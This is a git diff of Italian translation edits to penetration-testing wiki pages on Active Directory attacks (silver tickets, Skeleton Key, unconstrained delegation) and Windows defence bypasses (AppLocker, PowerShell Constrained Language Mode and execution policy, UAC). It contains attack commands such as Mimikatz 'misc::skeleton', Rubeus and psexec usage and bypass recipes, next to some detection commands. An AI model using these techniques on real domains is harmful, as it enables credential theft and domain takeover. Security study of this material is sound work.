| +| Biglietti d'Oro | krbtgt | Utilizzando **Rubeus** puoi **richiedere tutti** questi biglietti utilizzando il parametro: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### ID Evento dei Silver Tickets +### ID Evento Biglietti Silver - 4624: Accesso all'Account - 4634: Disconnessione dall'Account @@ -65,7 +65,7 @@ dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Potrai anche ottenere una shell all'interno dell'host o eseguire comandi arbitrari utilizzando **psexec**: +Sarai anche in grado di ottenere una shell all'interno dell'host o eseguire comandi arbitrari utilizzando **psexec**: {{#ref}} ../lateral-movement/psexec-and-winexec.md @@ -109,7 +109,7 @@ Con l'accesso winrm a un computer puoi **accedervi** e persino ottenere un Power ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Controlla la seguente pagina per apprendere **ulteriori modi per connettersi a un host remoto utilizzando winrm**: +Controlla la seguente pagina per apprendere **altri modi per connettersi a un host remoto utilizzando winrm**: {{#ref}} ../lateral-movement/winrm.md diff --git a/src/windows-hardening/active-directory-methodology/skeleton-key.md b/src/windows-hardening/active-directory-methodology/skeleton-key.md index abb527ab1..b7cc7c0df 100644 --- a/src/windows-hardening/active-directory-methodology/skeleton-key.md +++ b/src/windows-hardening/active-directory-methodology/skeleton-key.md @@ -6,7 +6,7 @@ L'**attacco Skeleton Key** è una tecnica sofisticata che consente agli attaccanti di **bypassare l'autenticazione di Active Directory** **iniettando una password master** nel controller di dominio. Questo consente all'attaccante di **autenticarsi come qualsiasi utente** senza la loro password, **concedendo loro accesso illimitato** al dominio. -Può essere eseguito utilizzando [Mimikatz](https://github.com/gentilkiwi/mimikatz). Per portare a termine questo attacco, **i diritti di Domain Admin sono un prerequisito**, e l'attaccante deve mirare a ciascun controller di dominio per garantire una violazione completa. Tuttavia, l'effetto dell'attacco è temporaneo, poiché **riavviare il controller di dominio eradicare il malware**, rendendo necessaria una reimplementazione per un accesso sostenuto. +Può essere eseguito utilizzando [Mimikatz](https://github.com/gentilkiwi/mimikatz). Per portare a termine questo attacco, **i diritti di Domain Admin sono un prerequisito**, e l'attaccante deve mirare a ciascun controller di dominio per garantire una violazione completa. Tuttavia, l'effetto dell'attacco è temporaneo, poiché **riavviare il controller di dominio eradicata il malware**, rendendo necessaria una reimplementazione per un accesso sostenuto. **Eseguire l'attacco** richiede un singolo comando: `misc::skeleton`. @@ -20,7 +20,7 @@ Ecco i comandi PowerShell per migliorare le misure di sicurezza: - In particolare, per rilevare il driver di Mimikatz, può essere utilizzato il seguente comando: `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*" -and $_.message -like "*mimidrv*"}` -- Per rafforzare `lsass.exe`, si raccomanda di abilitarlo come processo protetto: `New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose` +- Per rafforzare `lsass.exe`, è consigliato abilitarlo come processo protetto: `New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose` La verifica dopo un riavvio del sistema è cruciale per garantire che le misure protettive siano state applicate con successo. Questo è realizzabile tramite: `Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "*protected process*` diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 79f1f6813..225f47322 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -1,4 +1,4 @@ -# Delegazione non vincolata +# Delegazione Non Vincolata {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ Questa è una funzionalità che un Amministratore di Dominio può impostare su qualsiasi **Computer** all'interno del dominio. Quindi, ogni volta che un **utente accede** al Computer, una **copia del TGT** di quell'utente verrà **inviata all'interno del TGS** fornito dal DC **e salvata in memoria in LSASS**. Quindi, se hai privilegi di Amministratore sulla macchina, sarai in grado di **estrarre i ticket e impersonare gli utenti** su qualsiasi macchina. -Quindi, se un amministratore di dominio accede a un Computer con la funzionalità "Delegazione non vincolata" attivata, e tu hai privilegi di amministratore locale su quella macchina, sarai in grado di estrarre il ticket e impersonare l'Amministratore di Dominio ovunque (privilegi di dominio). +Quindi, se un amministratore di dominio accede a un Computer con la funzionalità "Delegazione Non Vincolata" attivata, e tu hai privilegi di amministratore locale su quella macchina, sarai in grado di estrarre il ticket e impersonare l'Amministratore di Dominio ovunque (privilegi di dominio). Puoi **trovare oggetti Computer con questo attributo** controllando se l'attributo [userAccountControl]() contiene [ADS_UF_TRUSTED_FOR_DELEGATION](). Puoi farlo con un filtro LDAP di ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, che è ciò che fa powerview: @@ -27,9 +27,9 @@ Carica il ticket di Administrator (o utente vittima) in memoria con **Mimikatz** Ulteriori informazioni: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ [**Ulteriori informazioni sulla delegazione non vincolata in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) -### **Forzare l'autenticazione** +### **Forzare l'Autenticazione** -Se un attaccante è in grado di **compromettere un computer autorizzato per "Delegazione non vincolata"**, potrebbe **ingannare** un **Print server** per **accedere automaticamente** ad esso **salvando un TGT** nella memoria del server.\ +Se un attaccante è in grado di **compromettere un computer autorizzato per "Delegazione Non Vincolata"**, potrebbe **ingannare** un **Print server** per **accedere automaticamente** ad esso **salvando un TGT** nella memoria del server.\ Quindi, l'attaccante potrebbe eseguire un **attacco Pass the Ticket per impersonare** l'account computer del server di stampa. Per far accedere un server di stampa a qualsiasi macchina puoi usare [**SpoolSample**](https://github.com/leechristensen/SpoolSample): diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index 8b1b6b735..8b7d8e839 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -4,14 +4,14 @@ ## Politica di AppLocker -Un elenco di applicazioni approvate è un elenco di software o eseguibili approvati che sono autorizzati a essere presenti e a funzionare su un sistema. L'obiettivo è proteggere l'ambiente da malware dannoso e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione. +Un elenco di applicazioni approvate è un elenco di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannoso e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di whitelisting delle applicazioni** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installer di app confezionate.\ +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di whitelisting delle applicazioni** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.\ È comune per le organizzazioni **bloccare cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere aggirato**. ### Controllo -Controlla quali file/estensioni sono nella lista nera/bianca: +Controlla quali file/estensioni sono nella lista nera/nella lista bianca: ```powershell Get-ApplockerPolicy -Effective -xml @@ -36,11 +36,11 @@ C:\windows\tracing - I comuni **binaries** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere utili per bypassare AppLocker. - **Regole scritte male potrebbero anche essere bypassate** - Ad esempio, **``**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita. -- Le organizzazioni spesso si concentrano su **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`. +- Le organizzazioni spesso si concentrano sul **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`. - **L'applicazione delle DLL è molto raramente abilitata** a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare **DLL come backdoor aiuterà a bypassare AppLocker**. - Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per ulteriori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). -## Archiviazione delle credenziali +## Archiviazione delle Credenziali ### Security Accounts Manager (SAM) @@ -110,13 +110,13 @@ EFS protegge i file attraverso la crittografia, utilizzando una **chiave simmetr - Quando file o cartelle vengono spostati su un file system non EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittografati. - I file crittografati inviati attraverso la rete tramite il protocollo SMB/CIFS vengono decrittografati prima della trasmissione. -Questo metodo di crittografia consente un **accesso trasparente** ai file crittografati per il proprietario. Tuttavia, cambiare semplicemente la password del proprietario e accedere non permetterà la decrittazione. +Questo metodo di crittografia consente un **accesso trasparente** ai file crittografati per il proprietario. Tuttavia, semplicemente cambiando la password del proprietario e accedendo non sarà possibile la decrittazione. **Punti chiave**: - EFS utilizza una FEK simmetrica, crittografata con la chiave pubblica dell'utente. - La decrittazione impiega la chiave privata dell'utente per accedere alla FEK. -- La decrittazione automatica avviene in determinate condizioni, come il copia su FAT32 o la trasmissione in rete. +- La decrittazione automatica avviene in determinate condizioni, come la copia su FAT32 o la trasmissione in rete. - I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi. ### Controlla le informazioni EFS @@ -160,7 +160,7 @@ Inoltre, controlla questa [pagina web](https://cube0x0.github.io/Relaying-for-gM ## LAPS -La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti concessi, è fornita la possibilità di leggere le password degli amministratori locali. +La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti concessi, è possibile leggere le password degli amministratori locali. {{#ref}} active-directory-methodology/laps.md @@ -168,7 +168,7 @@ active-directory-methodology/laps.md ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **blocca molte delle funzionalità** necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **limita molte delle funzionalità** necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora. ### **Controlla** ```powershell @@ -195,7 +195,7 @@ Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/t ## Politica di Esecuzione PS -Per impostazione predefinita è impostata su **riservata.** I principali modi per bypassare questa politica: +Per impostazione predefinita è impostata su **restricted.** I principali modi per bypassare questa politica: ```powershell 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -217,13 +217,13 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T ``` More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) -## Interfaccia del Fornitore di Supporto Sicurezza (SSPI) +## Security Support Provider Interface (SSPI) È l'API che può essere utilizzata per autenticare gli utenti. -L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione sarà utilizzato, questi protocolli di autenticazione sono chiamati Fornitori di Supporto Sicurezza (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare. +L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che desiderano comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare. -### Principali SSP +### Main SSPs - **Kerberos**: Il preferito - %windir%\Windows\System32\kerberos.dll @@ -238,9 +238,9 @@ L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine #### La negoziazione potrebbe offrire diversi metodi o solo uno. -## UAC - Controllo Account Utente +## UAC - User Account Control -[Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **messaggio di consenso per attività elevate**. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **messaggio di consenso per attività elevate**. {{#ref}} windows-security-controls/uac-user-account-control.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index f2fb47053..94dcc5f0d 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,7 +4,7 @@ ## Politica di AppLocker -Un elenco di applicazioni approvate è un elenco di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti e a funzionare su un sistema. L'obiettivo è proteggere l'ambiente da malware dannoso e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione. +Un elenco di applicazioni approvate è un elenco di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti e a funzionare su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvati che non si allineano con le specifiche esigenze aziendali di un'organizzazione. [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di whitelisting delle applicazioni** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.\ È comune per le organizzazioni **bloccare cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere aggirato**. @@ -34,7 +34,7 @@ C:\Windows\Tasks C:\windows\tracing ``` - I comuni **binaries** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere utili per bypassare AppLocker. -- **Regole scritte male potrebbero anche essere bypassate** +- **Regole scritte male possono essere bypassate** - Ad esempio, **``**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita. - Le organizzazioni spesso si concentrano su **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`. - **L'applicazione delle DLL è molto raramente abilitata** a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare **DLL come backdoor aiuterà a bypassare AppLocker**. @@ -58,14 +58,14 @@ Le **credenziali** sono **salvate** all'interno del **processo LSASS**: ticket K LSA potrebbe salvare su disco alcune credenziali: -- Password dell'account computer dell'Active Directory (controller di dominio irraggiungibile). +- Password dell'account computer di Active Directory (controller di dominio irraggiungibile). - Password degli account dei servizi Windows - Password per attività pianificate - Altro (password delle applicazioni IIS...) ### NTDS.dit -È il database dell'Active Directory. È presente solo nei Domain Controllers. +È il database di Active Directory. È presente solo nei Controller di Dominio. ## Defender @@ -115,7 +115,7 @@ Questo metodo di crittografia consente un **accesso trasparente** ai file critto **Punti chiave**: - EFS utilizza una FEK simmetrica, crittografata con la chiave pubblica dell'utente. -- La decrittazione utilizza la chiave privata dell'utente per accedere alla FEK. +- La decrittazione impiega la chiave privata dell'utente per accedere alla FEK. - La decrittazione automatica avviene in determinate condizioni, come il copia su FAT32 o la trasmissione in rete. - I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi. @@ -181,7 +181,7 @@ $ExecutionContext.SessionState.LanguageMode Powershell -version 2 ``` In Windows attuale, quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Per compilarlo potresti aver bisogno** **di** _**Aggiungere un Riferimento**_ -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto in .Net4.5**. +**Per compilarlo potresti aver bisogno** **di** _**Aggiungere un Riferimento**_ -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto a .Net4.5**. #### Bypass diretto: ```bash @@ -195,7 +195,7 @@ Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/t ## Politica di Esecuzione PS -Per impostazione predefinita è impostata su **riservata.** I principali modi per bypassare questa politica: +Per impostazione predefinita è impostata su **restricted.** I principali modi per bypassare questa politica: ```powershell 1º Just copy and paste inside the interactive PS console 2º Read en Exec diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index 48b5ca40a..e5199beff 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -4,7 +4,7 @@ ## UAC -[Il Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che consente un **messaggio di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrità`, e un programma con un **alto livello** può eseguire compiti che **potrebbero compromettere il sistema**. Quando l'UAC è abilitato, le applicazioni e i compiti vengono sempre **eseguiti sotto il contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente queste applicazioni/compiti ad avere accesso di livello amministratore al sistema per essere eseguiti. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali, ma non è considerata un confine di sicurezza. +[Il Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che consente un **messaggio di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrità`, e un programma con un **alto livello** può eseguire compiti che **potrebbero compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i compiti vengono sempre **eseguiti sotto il contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente queste applicazioni/compiti ad avere accesso di livello amministratore al sistema per essere eseguiti. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali ma non è considerata un confine di sicurezza. Per ulteriori informazioni sui livelli di integrità: @@ -12,34 +12,34 @@ Per ulteriori informazioni sui livelli di integrità: ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -Quando l'UAC è attivo, a un utente amministratore vengono forniti 2 token: una chiave per utente standard, per eseguire azioni regolari a livello normale, e una con i privilegi di amministratore. +Quando UAC è attivo, a un utente amministratore vengono forniti 2 token: una chiave per utente standard, per eseguire azioni regolari a livello normale, e una con i privilegi di amministratore. -Questa [pagina](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute in dettaglio come funziona l'UAC e include il processo di accesso, l'esperienza utente e l'architettura UAC. Gli amministratori possono utilizzare le politiche di sicurezza per configurare come funziona l'UAC specificamente per la loro organizzazione a livello locale (utilizzando secpol.msc), o configurato e distribuito tramite Oggetti Criteri di Gruppo (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni sono discusse in dettaglio [qui](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Ci sono 10 impostazioni di Criteri di Gruppo che possono essere impostate per l'UAC. La seguente tabella fornisce ulteriori dettagli: +Questa [pagina](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute in dettaglio come funziona UAC e include il processo di accesso, l'esperienza utente e l'architettura UAC. Gli amministratori possono utilizzare le politiche di sicurezza per configurare come funziona UAC specificamente per la loro organizzazione a livello locale (utilizzando secpol.msc), o configurato e distribuito tramite Oggetti Criteri di Gruppo (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni sono discusse in dettaglio [qui](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Ci sono 10 impostazioni di Criteri di Gruppo che possono essere impostate per UAC. La seguente tabella fornisce ulteriori dettagli: -| Impostazione Criteri di Gruppo | Chiave di Registro | Impostazione Predefinita | +| Impostazione Criteri di Gruppo | Chiave di Registro | Impostazione Predefinita | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [Controllo Account Utente: Modalità di Approvazione Amministrativa per l'account Amministratore integrato](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabilitato | -| [Controllo Account Utente: Consenti alle applicazioni UIAccess di richiedere elevazione senza utilizzare il desktop sicuro](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabilitato | -| [Controllo Account Utente: Comportamento del messaggio di elevazione per gli amministratori in Modalità di Approvazione Amministrativa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Richiesta di consenso per binari non Windows | -| [Controllo Account Utente: Comportamento del messaggio di elevazione per utenti standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Richiesta di credenziali sul desktop sicuro | +| [Controllo Account Utente: Modalità di Approvazione Amministrativa per l'account Amministratore integrato](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabilitato | +| [Controllo Account Utente: Consenti alle applicazioni UIAccess di richiedere elevazione senza utilizzare il desktop sicuro](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabilitato | +| [Controllo Account Utente: Comportamento del messaggio di elevazione per gli amministratori in Modalità di Approvazione Amministrativa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Richiesta di consenso per binari non Windows | +| [Controllo Account Utente: Comportamento del messaggio di elevazione per utenti standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Richiesta di credenziali sul desktop sicuro | | [Controllo Account Utente: Rileva installazioni di applicazioni e richiedi elevazione](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Abilitato (predefinito per home) Disabilitato (predefinito per enterprise) | -| [Controllo Account Utente: Eleva solo eseguibili firmati e convalidati](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabilitato | -| [Controllo Account Utente: Eleva solo le applicazioni UIAccess installate in posizioni sicure](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Abilitato | -| [Controllo Account Utente: Esegui tutti gli amministratori in Modalità di Approvazione Amministrativa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Abilitato | -| [Controllo Account Utente: Passa al desktop sicuro quando si richiede elevazione](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Abilitato | -| [Controllo Account Utente: Virtualizza i fallimenti di scrittura su file e registro in posizioni per utente](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Abilitato | +| [Controllo Account Utente: Eleva solo eseguibili firmati e convalidati](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabilitato | +| [Controllo Account Utente: Eleva solo le applicazioni UIAccess installate in posizioni sicure](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Abilitato | +| [Controllo Account Utente: Esegui tutti gli amministratori in Modalità di Approvazione Amministrativa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Abilitato | +| [Controllo Account Utente: Passa al desktop sicuro quando si richiede elevazione](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Abilitato | +| [Controllo Account Utente: Virtualizza i fallimenti di scrittura su file e registro in posizioni per utente](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Abilitato | ### Teoria del Bypass UAC -Alcuni programmi sono **autoelevati automaticamente** se l'**utente appartiene** al **gruppo amministratore**. Questi binari hanno all'interno dei loro _**Manifest**_ l'opzione _**autoElevate**_ con valore _**True**_. Il binario deve essere **firmato da Microsoft** anche. +Alcuni programmi sono **autoelevati automaticamente** se l'**utente appartiene** al **gruppo amministratore**. Questi binari hanno all'interno dei loro _**Manifesti**_ l'opzione _**autoElevate**_ con valore _**True**_. Il binario deve essere **firmato da Microsoft** anche. -Quindi, per **bypassare** l'**UAC** (elevare da **livello** di integrità **medio** a **alto**) alcuni attaccanti utilizzano questo tipo di binari per **eseguire codice arbitrario** perché verrà eseguito da un **processo di alta integrità**. +Quindi, per **bypassare** il **UAC** (elevare da **livello** di integrità **medio** **a alto**) alcuni attaccanti utilizzano questo tipo di binari per **eseguire codice arbitrario** perché verrà eseguito da un **processo di alta integrità**. -Puoi **controllare** il _**Manifest**_ di un binario utilizzando lo strumento _**sigcheck.exe**_ di Sysinternals. E puoi **vedere** il **livello di integrità** dei processi utilizzando _Process Explorer_ o _Process Monitor_ (di Sysinternals). +Puoi **controllare** il _**Manifesto**_ di un binario utilizzando lo strumento _**sigcheck.exe**_ di Sysinternals. E puoi **vedere** il **livello di integrità** dei processi utilizzando _Process Explorer_ o _Process Monitor_ (di Sysinternals). ### Controlla UAC -Per confermare se l'UAC è abilitato, 